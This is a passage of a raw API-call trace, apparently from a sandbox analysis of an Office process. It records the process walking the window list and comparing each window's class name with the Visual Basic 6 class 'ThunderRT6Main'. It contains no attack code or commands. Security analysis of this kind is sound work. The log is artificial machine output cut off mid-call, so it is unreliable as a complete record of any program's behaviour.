lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0096.800] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.800] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned 382664704 [0096.800] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0096.800] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0096.800] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x30242 [0096.800] GetClassNameA (in: hWnd=0x30242, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0096.800] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0096.800] GetWindowThreadProcessId (in: hWnd=0x30242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.800] GetWindowLongA (hWnd=0x30242, nIndex=-16) returned -1778384896 [0096.800] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0096.800] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0096.800] GetWindow (hWnd=0x30242, uCmd=0x2) returned 0x40244 [0096.800] GetClassNameA (in: hWnd=0x40244, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0096.801] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0096.801] GetWindowThreadProcessId (in: hWnd=0x40244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.801] GetWindowLongA (hWnd=0x40244, nIndex=-16) returned -1778384896 [0096.801] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0096.801] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0096.801] GetWindow (hWnd=0x40244, uCmd=0x2) returned 0x20288 [0096.801] GetClassNameA (in: hWnd=0x20288, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0096.801] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0096.801] GetWindowThreadProcessId (in: hWnd=0x20288, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.801] GetWindowLongA (hWnd=0x20288, nIndex=-16) returned -1778384896 [0096.801] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0096.801] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0096.801] GetWindow (hWnd=0x20288, uCmd=0x2) returned 0x20286 [0096.801] GetClassNameA (in: hWnd=0x20286, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0096.801] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0096.801] GetWindowThreadProcessId (in: hWnd=0x20286, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.801] GetWindowLongA (hWnd=0x20286, nIndex=-16) returned -1778384896 [0096.801] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0096.801] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0096.801] GetWindow (hWnd=0x20286, uCmd=0x2) returned 0x30252 [0096.801] GetClassNameA (in: hWnd=0x30252, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0096.801] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0096.801] GetWindowThreadProcessId (in: hWnd=0x30252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.801] GetWindowLongA (hWnd=0x30252, nIndex=-16) returned 1149272145 [0096.801] GetWindow (hWnd=0x30252, uCmd=0x2) returned 0x102b0 [0096.801] GetClassNameA (in: hWnd=0x102b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0096.801] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0096.801] GetWindowThreadProcessId (in: hWnd=0x102b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0096.801] GetWindow (hWnd=0x102b0, uCmd=0x2) returned 0x20256 [0096.801] GetClassNameA (in: hWnd=0x20256, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0096.801] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0096.801] GetWindowThreadProcessId (in: hWnd=0x20256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.801] GetWindowLongA (hWnd=0x20256, nIndex=-16) returned 213909504 [0096.801] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0096.801] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0096.801] GetWindow (hWnd=0x20256, uCmd=0x2) returned 0x10246 [0096.801] GetClassNameA (in: hWnd=0x10246, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0096.801] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0096.801] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.801] GetWindowLongA (hWnd=0x10246, nIndex=-16) returned -2080374784 [0096.801] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0096.802] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0096.802] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x20224 [0096.802] GetClassNameA (in: hWnd=0x20224, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0096.802] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0096.802] GetWindowThreadProcessId (in: hWnd=0x20224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.802] GetWindowLongA (hWnd=0x20224, nIndex=-16) returned -2080374784 [0096.802] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0096.802] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0096.802] GetWindow (hWnd=0x20224, uCmd=0x2) returned 0x101ee [0096.802] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0096.802] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0096.802] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.802] GetWindowLongA (hWnd=0x101ee, nIndex=-16) returned -2046820352 [0096.802] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0096.802] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0096.802] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101ec [0096.802] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0096.802] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0096.802] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.802] GetWindowLongA (hWnd=0x101ec, nIndex=-16) returned -2046820352 [0096.802] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0096.802] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0096.802] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ea [0096.802] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0096.802] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0096.802] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.802] GetWindowLongA (hWnd=0x101ea, nIndex=-16) returned -2046820352 [0096.802] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0096.802] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0096.802] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e8 [0096.802] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0096.802] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0096.802] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.802] GetWindowLongA (hWnd=0x101e8, nIndex=-16) returned -2046820352 [0096.802] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0096.802] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0096.802] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101c2 [0096.802] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0096.802] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0096.802] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.802] GetWindowLongA (hWnd=0x101c2, nIndex=-16) returned 114229248 [0096.802] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0096.803] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0096.803] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x401ba [0096.803] GetClassNameA (in: hWnd=0x401ba, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0096.803] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0096.803] GetWindowThreadProcessId (in: hWnd=0x401ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0096.803] GetWindow (hWnd=0x401ba, uCmd=0x2) returned 0x201b0 [0096.803] GetClassNameA (in: hWnd=0x201b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ARC Window Class") returned 16 [0096.803] lstrcmpA (lpString1="ARC Window Class", lpString2="ThunderRT6Main") returned -1 [0096.803] GetWindowThreadProcessId (in: hWnd=0x201b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.803] GetWindowLongA (hWnd=0x201b0, nIndex=-16) returned -2080374784 [0096.803] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0096.803] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0096.803] GetWindow (hWnd=0x201b0, uCmd=0x2) returned 0x101a8 [0096.803] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.803] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.803] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0096.803] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101a6 [0096.803] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="bloggingroutesInformedwin") returned 25 [0096.803] lstrcmpA (lpString1="bloggingroutesInformedwin", lpString2="ThunderRT6Main") returned -1 [0096.803] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0096.803] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101e4 [0096.803] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0096.803] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0096.803] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.803] GetWindowLongA (hWnd=0x101e4, nIndex=-16) returned 1149272145 [0096.803] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101a4 [0096.803] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.803] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.803] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0096.803] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a2 [0096.803] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Sport_Verification_Trash_") returned 25 [0096.803] lstrcmpA (lpString1="Sport_Verification_Trash_", lpString2="ThunderRT6Main") returned -1 [0096.803] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0096.803] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x101a0 [0096.803] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.803] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.803] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0096.803] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x1019e [0096.804] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CopyrightRegionalcls") returned 20 [0096.804] lstrcmpA (lpString1="CopyrightRegionalcls", lpString2="ThunderRT6Main") returned -1 [0096.804] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0096.804] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c [0096.804] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.804] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.804] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0096.804] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0096.804] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ConstraintafterwardsmardiPortugalwin") returned 36 [0096.804] lstrcmpA (lpString1="ConstraintafterwardsmardiPortugalwin", lpString2="ThunderRT6Main") returned -1 [0096.804] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0096.804] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10198 [0096.804] GetClassNameA (in: hWnd=0x10198, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.804] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.804] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0096.804] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10196 [0096.804] GetClassNameA (in: hWnd=0x10196, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="provincefiftySpankclass") returned 23 [0096.804] lstrcmpA (lpString1="provincefiftySpankclass", lpString2="ThunderRT6Main") returned -1 [0096.804] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0096.804] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10192 [0096.804] GetClassNameA (in: hWnd=0x10192, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CurrencyAppointmentswnd") returned 23 [0096.805] lstrcmpA (lpString1="CurrencyAppointmentswnd", lpString2="ThunderRT6Main") returned -1 [0096.805] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0096.805] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0096.805] GetClassNameA (in: hWnd=0x10194, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.805] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.805] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0096.805] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0096.805] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Integer_Hop_Charming_app") returned 24 [0096.805] lstrcmpA (lpString1="Integer_Hop_Charming_app", lpString2="ThunderRT6Main") returned -1 [0096.805] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0096.805] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0096.805] GetClassNameA (in: hWnd=0x10190, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.805] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.805] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0096.805] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0096.805] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="different_Executed_helicopter_government_app") returned 44 [0096.805] lstrcmpA (lpString1="different_Executed_helicopter_government_app", lpString2="ThunderRT6Main") returned -1 [0096.805] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0096.805] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0096.805] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.805] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.805] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0096.805] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0096.805] GetClassNameA (in: hWnd=0x10186, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Blanket_Si_studies_win") returned 22 [0096.805] lstrcmpA (lpString1="Blanket_Si_studies_win", lpString2="ThunderRT6Main") returned -1 [0096.805] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0096.805] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0096.805] GetClassNameA (in: hWnd=0x10188, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.805] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.805] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0096.805] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0096.805] GetClassNameA (in: hWnd=0x10182, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="cfrwnd") returned 6 [0096.805] lstrcmpA (lpString1="cfrwnd", lpString2="ThunderRT6Main") returned -1 [0096.805] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0096.805] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0096.805] GetClassNameA (in: hWnd=0x10184, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.805] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.805] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0096.805] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0096.806] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Face_cls") returned 8 [0096.806] lstrcmpA (lpString1="Face_cls", lpString2="ThunderRT6Main") returned -1 [0096.806] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0096.806] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10180 [0096.806] GetClassNameA (in: hWnd=0x10180, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.806] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.806] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0096.806] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0096.806] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="latex_fairly_Tasks_win") returned 22 [0096.806] lstrcmpA (lpString1="latex_fairly_Tasks_win", lpString2="ThunderRT6Main") returned -1 [0096.806] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0096.806] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017e [0096.806] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.809] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.809] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0096.809] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10176 [0096.809] GetClassNameA (in: hWnd=0x10176, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="listed_Specifies_Thus_Traditional_window") returned 40 [0096.809] lstrcmpA (lpString1="listed_Specifies_Thus_Traditional_window", lpString2="ThunderRT6Main") returned -1 [0096.809] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0096.809] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0096.809] GetClassNameA (in: hWnd=0x10178, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.809] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.809] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0096.809] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0096.809] GetClassNameA (in: hWnd=0x10172, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Assessapp") returned 9 [0096.809] lstrcmpA (lpString1="Assessapp", lpString2="ThunderRT6Main") returned -1 [0096.809] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0096.810] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0096.810] GetClassNameA (in: hWnd=0x10174, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.810] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.810] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0096.810] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0096.810] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DutyUsualPositioningDepartmentswnd") returned 34 [0096.810] lstrcmpA (lpString1="DutyUsualPositioningDepartmentswnd", lpString2="ThunderRT6Main") returned -1 [0096.810] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0096.810] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0096.810] GetClassNameA (in: hWnd=0x10170, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.810] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.810] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0096.810] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0096.810] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="fr_cls") returned 6 [0096.810] lstrcmpA (lpString1="fr_cls", lpString2="ThunderRT6Main") returned -1 [0096.810] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0096.810] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0096.810] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.810] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.810] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0096.810] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0096.810] GetClassNameA (in: hWnd=0x10166, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Profiles_camp_") returned 14 [0096.810] lstrcmpA (lpString1="Profiles_camp_", lpString2="ThunderRT6Main") returned -1 [0096.810] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0096.810] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0096.810] GetClassNameA (in: hWnd=0x10168, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.810] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.810] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0096.810] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0096.810] GetClassNameA (in: hWnd=0x10162, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="SheetCopiessurpluswindow") returned 24 [0096.810] lstrcmpA (lpString1="SheetCopiessurpluswindow", lpString2="ThunderRT6Main") returned -1 [0096.810] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0096.810] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0096.810] GetClassNameA (in: hWnd=0x10164, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.810] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.811] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0096.811] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0096.811] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Watch_Equation_app") returned 18 [0096.811] lstrcmpA (lpString1="Watch_Equation_app", lpString2="ThunderRT6Main") returned 1 [0096.811] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0096.811] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0096.811] GetClassNameA (in: hWnd=0x10160, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.811] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.811] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0096.811] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0096.811] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ie_wnd") returned 6 [0096.811] lstrcmpA (lpString1="ie_wnd", lpString2="ThunderRT6Main") returned -1 [0096.811] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0096.811] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0096.811] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x20dff0, 